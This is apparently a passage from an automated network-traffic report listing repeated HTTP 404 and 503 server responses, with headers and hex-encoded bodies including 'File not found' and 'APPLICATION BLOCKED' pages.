6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:00 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:00 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:01 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:02 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 09:53:00 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:04 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:04 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:04 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 03:53:04 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundVary: Accept-EncodingX-Frame-Options: SAMEORIGINContent-Type: text/htmlX-Content-Type-Options: nosniffDate: Mon, 15 Apr 2024 02:53:13 GMTCache-Control: no-cacheContent-Length: 223X-XSS-Protection: 1; mode=blockConnection: Keep-AliveAccept-Ranges: bytesData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundCONNECTION: closeCONTENT-LENGTH: 48CONTENT-TYPE: text/htmlData Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 14:53:07 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 14:53:07 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:10 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 36 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 37 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 38 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 35 36 70 78 3b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 7d 0a 62 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 65 37 65 38 65 39 22 3e 0a 3c 64 69 76 20 69 64 3d 22 63 22 3e 0a 3c 68 31 3e 0a 3c 69 6d 67 20 77 69 64 74 68 3d 22 35 30 30 22 20 73 72 63 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 6a 70 65 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 66 51 41 41 41 42 66 43 41 59 41 41 41 41 65 65 6a 55 54 41 41 41 57 6c 55 6c 45 51 56 52 34 58 75 31 64 43 66 53 33 78 52 52 2b 45 69 48 4b 6b 69 49 6c 61 61 4f 79 6c 45 4a 4b 53 65 67 6f 57 34 68 30 4f 4b 58 51 6b 65 78 4c 6c 70 41 74 74 4b 47 4f 49 78 57 79 5a 6b 39 6f 51 32 52 72 49 55 75 70 4a 45 4a 55 6f 74 4b 69 49 69 48 4f 55 2b 2b 63 4d 39 2f 30 4c 6a 4e 33 35 74 31 2b 33 33 50 50 2b 5a 39
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon Apr 15 16:53:10 2024Server: tr069 http serverContent-Length: 15Connection: closeContent-Type: text/plain; charset=ISO-8859-1Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableContent-Type: text/html; charset=UTF-8Content-Length: 11709Connection: closeP3P: CP="CAO PSA OUR"Expires: Thu, 01 Jan 1970 00:00:00 GMTCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0Pragma: no-cacheData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 0a 68 32 2c 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 7d 0a 68 31 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 63 6f 6c 6f 72 3a 23 63 63 30 30 30 30 3b 7d 0a 68 32 7b 63 6f 6c 6f 72 3a 23 33 33 30 30 36 36 3b 7d 0a 68 33 7b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 34 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 63 6f 6c 6f 72 3a 23 36 36 36 3b 7d 0a 68 35 7b 6d 61 72 67 69 6e 3a 32 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 